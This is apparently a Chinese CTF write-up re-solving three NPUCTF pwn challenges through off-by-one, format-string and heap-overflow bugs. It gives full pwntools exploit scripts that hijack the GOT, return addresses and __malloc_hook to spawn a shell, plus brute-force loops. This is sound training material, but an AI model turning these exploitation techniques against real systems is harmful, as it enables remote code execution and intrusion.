0%

NPUCTF--PWN--WP复现

alt

之前打的NPUCTF发现自己什么都不会,一直想着复现,拖了这么久,今天就复现一下。这次复现学到了很多,发现自己好菜。呜呜呜~

easy_heap

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax@2
char buf; // [sp+4h] [bp-Ch]@2
__int64 v5; // [sp+8h] [bp-8h]@1

v5 = *MK_FP(__FS__, 40LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
read(0, &buf, 4uLL);
v3 = atoi(&buf);
if ( (unsigned int)v3 <= 5 )
break;
puts("Invalid Choice");
}
JUMPOUT(__CS__, (char *)dword_401140 + dword_401140[(unsigned __int64)(unsigned int)v3]);
}

create()函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
__int64 create()
{
_QWORD *v0; // rbx@9
signed int i; // [sp+4h] [bp-2Ch]@1
size_t size; // [sp+8h] [bp-28h]@6
char buf; // [sp+10h] [bp-20h]@6
__int64 v5; // [sp+18h] [bp-18h]@1

v5 = *MK_FP(__FS__, 40LL);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
heaparray[i] = malloc(0x10uLL);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(1);
}
printf("Size of Heap(0x10 or 0x20 only) : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
if ( size != 24 && size != 56 )
exit(-1);
v0 = heaparray[i];
v0[1] = malloc(size);
if ( !*((_QWORD *)heaparray[i] + 1) )
{
puts("Allocate Error");
exit(2);
}
*(_QWORD *)heaparray[i] = size;
printf("Content:", &buf);
read_input(*((_QWORD *)heaparray[i] + 1), size);
puts("Done!");
return *MK_FP(__FS__, 40LL) ^ v5;
}
}
return *MK_FP(__FS__, 40LL) ^ v5;
}

edit函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 edit()
{
__int64 v1; // [sp+0h] [bp-10h]@1
__int64 v2; // [sp+8h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[(signed int)v1] )
{
printf("Content: ", (char *)&v1 + 4, v1);
read_input(*((_QWORD *)heaparray[(signed int)v1] + 1), *(_QWORD *)heaparray[(signed int)v1] + 1LL); #off_by_one漏洞
puts("Done!");
}
else
{
puts("How Dare you!");
}
return *MK_FP(__FS__, 40LL) ^ v2;
}

show函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 show()
{
__int64 v1; // [sp+0h] [bp-10h]@1
__int64 v2; // [sp+8h] [bp-8h]@1

v2 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, (char *)&v1 + 4, 4uLL);
LODWORD(v1) = atoi((const char *)&v1 + 4);
if ( (signed int)v1 < 0 || (signed int)v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[(signed int)v1] )
{
printf(
"Size : %ld\nContent : %s\n",
*(_QWORD *)heaparray[(signed int)v1],
*((_QWORD *)heaparray[(signed int)v1] + 1),
v1);
puts("Done!");
}
else
{
puts("How Dare you!");
}
return *MK_FP(__FS__, 40LL) ^ v2;
}

delete函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 delete()
{
int v1; // [sp+0h] [bp-10h]@1
char buf; // [sp+4h] [bp-Ch]@1
__int64 v3; // [sp+8h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( heaparray[v1] )
{
free(*((void **)heaparray[v1] + 1));
free(heaparray[v1]);
heaparray[v1] = 0LL;
puts("Done !");
}
else
{
puts("How Dare you!");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}

在edit()函数发现off_by_one,我们可以利用它来修改某个chunk的size位,来造成堆块的重叠,从而可以修改&content的地址,实现任意地址的读写。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#! /usr/bin/env python 

from pwn import *
from LibcSearcher import *

#sh=remote('node3.buuoj.cn',27902)
sh=process('./easyheap')
elf=ELF('./easyheap')
#context.log_level='debug'
free_got=elf.got['free']

def add(size,content) :
sh.recvuntil(':')
sh.sendline(str(1))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)
def edit(index,content) :
sh.recvuntil(':')
sh.sendline(str(2))
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.send(content)
def show(index) :
sh.recvuntil(':')
sh.sendline(str(3))
sh.recvuntil(':')
sh.sendline(str(index))
def delete(index) :
sh.recvuntil(':')
sh.sendline(str(4))
sh.recvuntil(':')
sh.sendline(str(index))
add(0x18,'aaaaa') #0
delete(0)
#gdb.attach(sh)
add(0x38,'bbbbbb') #0
#gdb.attach(sh)
add(0x18,'cccccc') #1
payload='/bin/sh\x00'
add(0x18,'ddddddd') #2
add(0x18,payload)#3
#gdb.attach(sh)
payload2='a'*0x30+p64(0)+'\x41'
edit(0,payload2)

delete(1)
payload3='a'*0x10+p64(0)+p64(0x21)+p64(0x18)+p64(free_got)
add(0x38,payload3)

show(2)
sh.recvuntil('Content : ')
free_addr=u64(sh.recv(6).ljust(8,'\x00'))
print ('free_addr:' +hex(free_addr))
libc=LibcSearcher('free',free_addr)
libc_base=free_addr-libc.dump('free')
system_addr=libc_base+libc.dump('system')
print('system_addr:' +hex(system_addr))

payload4=p64(system_addr)
edit(2,payload4)
delete(3)
#gdb.attach(sh)
sh.interactive()

level2

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
read(0, buf, 0x64uLL);
if ( !strcmp(buf, "66666666") )
break;
printf(buf, "66666666");
}
return 0;
}

整个程序只有一个可以循环利用的格式化字符串漏洞,一般来说,如果我们输入的格式化字符串在栈上,那么我们可以通过向格式化字符串所在位置这样一个偏移处写入任意值,从而实现任意地址写。但是这道题buf不在栈上,而是在bss段上(有时在堆上也是基本一样的利用),实现任意写需要依赖一个链表结构。

栈数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
gdb-peda$ stack 31
0000| 0x7fffffffde78 --> 0x555555554824 (<main+138>: jmp 0x5555555547da <main+64>)
0008| 0x7fffffffde80 --> 0x555555554830 (<__libc_csu_init>: push r15)
0016| 0x7fffffffde88 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0024| 0x7fffffffde90 --> 0x1
0032| 0x7fffffffde98 --> 0x7fffffffdf68 --> 0x7fffffffe2d3 ("/home/pwn/pwn/npuctf/level2/level2")
0040| 0x7fffffffdea0 --> 0x1f7ffcca0
0048| 0x7fffffffdea8 --> 0x55555555479a (<main>: push rbp)
0056| 0x7fffffffdeb0 --> 0x0
0064| 0x7fffffffdeb8 --> 0x87b68dfcf204a6c4
0072| 0x7fffffffdec0 --> 0x555555554690 (<_start>: xor ebp,ebp)
0080| 0x7fffffffdec8 --> 0x7fffffffdf60 --> 0x1
0088| 0x7fffffffded0 --> 0x0
0096| 0x7fffffffded8 --> 0x0
0104| 0x7fffffffdee0 --> 0xd2e3d8a9df44a6c4
0112| 0x7fffffffdee8 --> 0xd2e3c813cdb4a6c4
0120| 0x7fffffffdef0 --> 0x0
0128| 0x7fffffffdef8 --> 0x0
0136| 0x7fffffffdf00 --> 0x0
0144| 0x7fffffffdf08 --> 0x7fffffffdf78 --> 0x7fffffffe2f6 ("XDG_VTNR=7")
0152| 0x7fffffffdf10 --> 0x7ffff7ffe168 --> 0x555555554000 --> 0x10102464c457f
0160| 0x7fffffffdf18 --> 0x7ffff7de77db (<_dl_init+139>: jmp 0x7ffff7de77b0 <_dl_init+96>)
0168| 0x7fffffffdf20 --> 0x0
0176| 0x7fffffffdf28 --> 0x0
0184| 0x7fffffffdf30 --> 0x555555554690 (<_start>: xor ebp,ebp)
0192| 0x7fffffffdf38 --> 0x7fffffffdf60 --> 0x1
--More--(25/31)
0200| 0x7fffffffdf40 --> 0x0
0208| 0x7fffffffdf48 --> 0x5555555546ba (<_start+42>: hlt)
0216| 0x7fffffffdf50 --> 0x7fffffffdf58 --> 0x1c
0224| 0x7fffffffdf58 --> 0x1c
0232| 0x7fffffffdf60 --> 0x1
0240| 0x7fffffffdf68 --> 0x7fffffffe2d3 ("/home/pwn/pwn/npuctf/level2/level2")

我们可以来看一下栈上面的数据,发现偏移为1的地方是libc,我们可以通过格式化字符串来泄露,得到one_gadget的实际地址,我们还需要知道ret_addr,我们需要将ret_addr写到

1
0032| 0x7fffffffde98 --> 0x7fffffffdf68 --> 0x7fffffffe2d3 ("/home/pwn/pwn/npuctf/level2/level2")

这个地方,这里是一个二级指针,指向

1
0240| 0x7fffffffdf68 --> 0x7fffffffe2d3 ("/home/pwn/pwn/npuctf/level2/level2")

这个地方,我们在第一个地方写入ret_addr地址,然后在第二地方写入one_gadget地址,这样在程序执行完返回的时候,就可以getshell了。我们需要知道ret_addr,虽然栈的地址是随机的,但是我们知道栈上面的数据之间的偏移是不变的,这里我选取的是0x7fffffffdf68这个地址,栈底指针和栈顶指针相同,那么主函数的返回地址就是rbp的下一个地址,这里就是0x7fffffffde80,所以0x7fffffffdf68-0x7fffffffde80=0xe8,只要我们泄露出0x7fffffffdf68这个地址,我们就可以知道ret_addr的地址了。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=remote('node3.buuoj.cn',27316)
sh=process('./level2')
#elf=ELF('./level2')
libc=ELF('./libc6_2.23-0ubuntu10_amd64.so')
#context.log_level='debug'

def Write2Byte(data,offset):
global ret_addr
_offset = (ret_addr + offset) % 0x10000
if(data == 0):
payload="%." + str(_offset) + "d%9$hn"
payload=payload.ljust(0x64,'\x00')
sh.send(payload)
sh.recv()
payload="%35$hn"
payload=payload.ljust(0x64,'\x00')
sh.send(payload)
sh.recv()
else:
payload="%." + str(_offset) + "d%9$hn"
payload=payload.ljust(0x64,'\x00')
sh.send(payload)
sh.recv()
payload="%." + str(data) + "d%35$hn"
payload=payload.ljust(0x64,'\x00')
sh.send(payload)
sh.recv()
def Write8Byte(data,offset):
_offset = offset
Write2Byte(int(data[10:14],16),_offset)
Write2Byte(int(data[6:10],16),_offset+2)
Write2Byte(int(data[2:6],16),_offset+4)
Write2Byte(0,_offset+6)
return _offset + 8

payload1='%7$p'
sh.sendline(payload1)
libc_main_addr=int(sh.recv(14),16)-240
print ('libc_main_addr:' +hex(libc_main_addr))

#libc=LibcSearcher('__libc_start_main',libc_main_addr)
#libc_base=libc_main_addr-libc.dump('__libc_start_main')
#0x45216
#0x4526a
#0xf02a4
#0xf1147
libc_base=libc_main_addr-libc.sym['__libc_start_main']

one_gadget=libc_base+0xf1147

payload2='+%9$p'
sh.send(payload2)
offest=0xe0
sh.recvuntil('+')
data=int(sh.recv(14),16)
ret_addr=data-offest
print ('ret_addr:' +hex(ret_addr))

offset=0
offset=Write8Byte(str(hex(one_gadget)),offset)
#gdb.attach(sh)
payload='66666666\x00'
sh.send(payload)
#gdb.attach(sh)

sh.interactive()

bad_guy

checksec检查

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax@2
const char **v4; // [sp+0h] [bp-20h]@1

v4 = argv;
prog_init(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
puts("=== Bad Guy ===");
puts("1. Malloc");
puts("2. Edit");
puts("3. Free");
printf(">> ", v4);
v3 = read_num();
if ( v3 != 2 )
break;
edit();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
delete();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("2333, Bad Guy!");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add();
}
}
}

add函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ssize_t add()
{
__int64 v0; // rax@1
size_t v1; // rax@1
unsigned __int64 v3; // [sp+0h] [bp-10h]@1
void *size; // [sp+8h] [bp-8h]@1

printf("Index :");
LODWORD(v0) = read_num();
printf("size: ", v0);
LODWORD(v1) = read_num();
size = (void *)v1;
heaparray[2 * v3 + 1] = malloc(v1);
if ( !heaparray[2 * v3 + 1] || v3 > 0xA )
{
puts("Bad Guy!");
exit(1);
}
heaparray[2 * v3] = size;
printf("Content:");
return read(0, heaparray[2 * v3 + 1], (size_t)size);
}

edit函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int edit()
{
__int64 v0; // rax@4
size_t v1; // rax@4
int result; // eax@6
unsigned __int64 v3; // [sp+0h] [bp-10h]@4
size_t nbytes; // [sp+8h] [bp-8h]@4

if ( count <= 0 )
{
puts("Bad Guy!");
exit(1);
}
--count;
printf("Index :");
LODWORD(v0) = read_num();
printf("size: ", v0);
LODWORD(v1) = read_num();
nbytes = v1;
if ( heaparray[2 * v3 + 1] && v3 <= 9 )
{
printf("content: ");
result = read(0, heaparray[2 * v3 + 1], nbytes);
}
else
{
result = puts("Bad Guy!");
}
return result;
}

delete函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int delete()
{
unsigned __int64 v0; // rax@1
void **v1; // rax@3
unsigned __int64 v3; // [sp+8h] [bp-8h]@1

printf("Index :");
LODWORD(v0) = read_num();
v3 = v0;
if ( heaparray[2 * v0 + 1] || v0 > 0xA )
{
free(heaparray[2 * v0 + 1]);
v1 = &heaparray[2 * v3 + 1];
*v1 = 0LL;
}
else
{
LODWORD(v1) = puts("Bad Guy!");
}
return (unsigned __int64)v1;
}

程序没有类似show的函数,也没有uaf漏洞,但是有一个非常友好的堆溢出漏洞,可以造成任意字节长度的溢出,而且程序可以申请任意大小的chunk。这就满足了house of roman的利用条件,关于house of roman原理可以看我博客其他的文章。

利用思路

  1. 创建4个chunk,大小分别是chunk0:0x10,chun1:0x50,chunk2:0x60,chunk3:0x60,free掉chunk2,修改chunk1的size位为0xd1,然后free掉chunk1,然后再申请0x50大小的chunk,此时被free掉的chunk2和chunk1的fd和bk指针都指向main_arean这个地址,这也是为什么要申请0xd1的原因,至于这里为什么会这样,是因为unsorted bin中的chunk被切割的缘故。
  2. 然后我们再修改chunk2 fd指针的低2个字节为malloc_hook-0x23连续malloc俩次拿到malloc_hook-0x23这个fake_chunk
  3. 再次修改chunk2的size为0xf1,fd指针的低2个字节为malloc_hook-0x10,malloc拿到这个chunk,此时,malloc_hook中为main_arean的地址,具体原因是因为unsorted bin attack ,可以看我其他博客。
  4. 通过我们之前申请的fake_chunkmalloc_hook-0x23,将malloc_hook的地址修改为one_gadget地址。
  5. 最后我们随便malloc一个chunk来getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#! /usr/bin/env python

from pwn import *

sh=process('./bad_guy')
elf=ELF('./bad_guy')
libc=elf.libc
context.log_level='debug'

def add(index,size,content) :
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def edit(index,size,content) :
sh.recvuntil('>> ')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def free(index) :
sh.recvuntil('>> ')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))


libc_base=0xa0d000

add(0,0x10,'L0ne1y')
add(1,0x50,'L0ne1y')
add(2,0x60,'L0ne1y')
add(3,0x60,'L0ne1y')

free(2)
off_by_one='a'*0x10+p64(0)+p64(0xd1)
edit(0,0x20,off_by_one)
free(1)
add(1,0x50,'L0ne1y')

malloc_hook_here='a'*0x40+p64(0)*3+p64(0x71)+p64(libc_base+libc.sym['__malloc_hook']-0x23)[:2]
edit(1,0x62,malloc_hook_here)

#get malloc_hook-0x23
add(2,0x60,p64(0))
add(4,0x60,p64(0))

edit(1,0x62+8,'a'*0x40+p64(0)*3+p64(0xf1)+p64(0)+p64(libc_base+libc.sym['__malloc_hook']-0x10)[:2])

add(5,0xe0,'L0ne1y') # unsorted bins
#one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + 0xf1147
edit(4,0x16,'a'*0x13+p64(one_gadget)[:3])

sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(6))
sh.recvuntil(':')
sh.sendline(str(0x10))

#gdb.attach(sh)

sh.interactive()

爆破脚本

1
2
#!/bin/bash
for i in `seq 1 5000`; do python exp.py; done;

通过爆破12bit的方式来进行getshell,爆破概率为1/4096,用这个脚本来打远程,难度太大了。我们结合io流的知识来进行泄露libc,来getshell。关于io流的知识可以看我其他博客。

利用思路

  1. 还是和刚才一样创建4个chunk,free掉chunk2,修改chunk1的size位为0x的d1,free掉chunk1,然后再申请chunk,使chunk2同时在fastbin和unsorted bin中。
  2. 然后通过chunk1修改chunk2的fd位低2个字节为0x25dd使地址变为_IO_2_1_stderr_+157,这里5dd是固定的,2是随机的,这个地址可以绕过size检查。
  3. 连续2次malloc拿到这个地址,然后修改stdout的flag位为0xfbad1800,并且将_IO_write_base的最后一个字节改小,从而实现多输出一些内容,这些内容里面就包含了libc地址。
  4. free掉chunk2,通过chunk1修改chunk2的fd位低2个字节为malloc_hook-0x23
  5. 连续2次malloc拿到这个地址,将one_gadget写入malloc_hook
  6. 随便malloc一次getshell。

这种利用方法我们有1/16的机会可以getshell,比House of Roman的机会大很多。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#! /usr/bin/env python

from pwn import *

sh=process('./bad_guy')
elf=ELF('./bad_guy')
libc=elf.libc
context.log_level='debug'

def add(index,size,content) :
sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def edit(index,size,content) :
sh.recvuntil('>> ')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def free(index) :
sh.recvuntil('>> ')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))


#libc_base=0xa0d000

add(0,0x10,'L0ne1y')
add(1,0x50,'L0ne1y')
add(2,0x60,'L0ne1y')
add(3,0x60,'L0ne1y')

free(2)
off_by_one='a'*0x10+p64(0)+p64(0xd1)
edit(0,0x20,off_by_one)
free(1)
add(1,0x50,'L0ne1y')

edit(1,0x62,p64(0)*0xb+p64(0x71)+p16(0x25dd))
add(2,0x60,'L0ne1y')
add(4,0x60,'L0ne1y') #get fake_chunk

edit(4,0x60,p64(0)*6+'\x00'*3+p64(0xfbad1800)+p64(0)*3+'\x00') #get libc
IO_stdder=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-192
print ('IO_stdder:' +hex(IO_stdder))

libc_base=IO_stdder-libc.symbols['_IO_2_1_stderr_']
print('libc_base:' +hex(libc_base))
one_gadget=libc_base+0xf1147
print('one_gadget:' +hex(one_gadget))

free(2)
edit(1,0x68,p64(0)*0xb+p64(0x71)+p64(libc_base+libc.symbols['__malloc_hook']-0x23))
add(2,0x60,'L0ne1y')
add(5,0x60,'a'*0x13+p64(one_gadget))
#edit(5,0x60,'a'*0x13+p64(one_gadget))

sh.recvuntil('>> ')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(6))
sh.recvuntil(':')
sh.sendline(str(32))

#gdb.attach(sh)
sh.interactive()

爆破脚本

1
2
#!/bin/bash
for i in `seq 1 20`; do python exp.py; done;

参考链接:https://www.cnblogs.com/Theffth-blog/p/12748295.html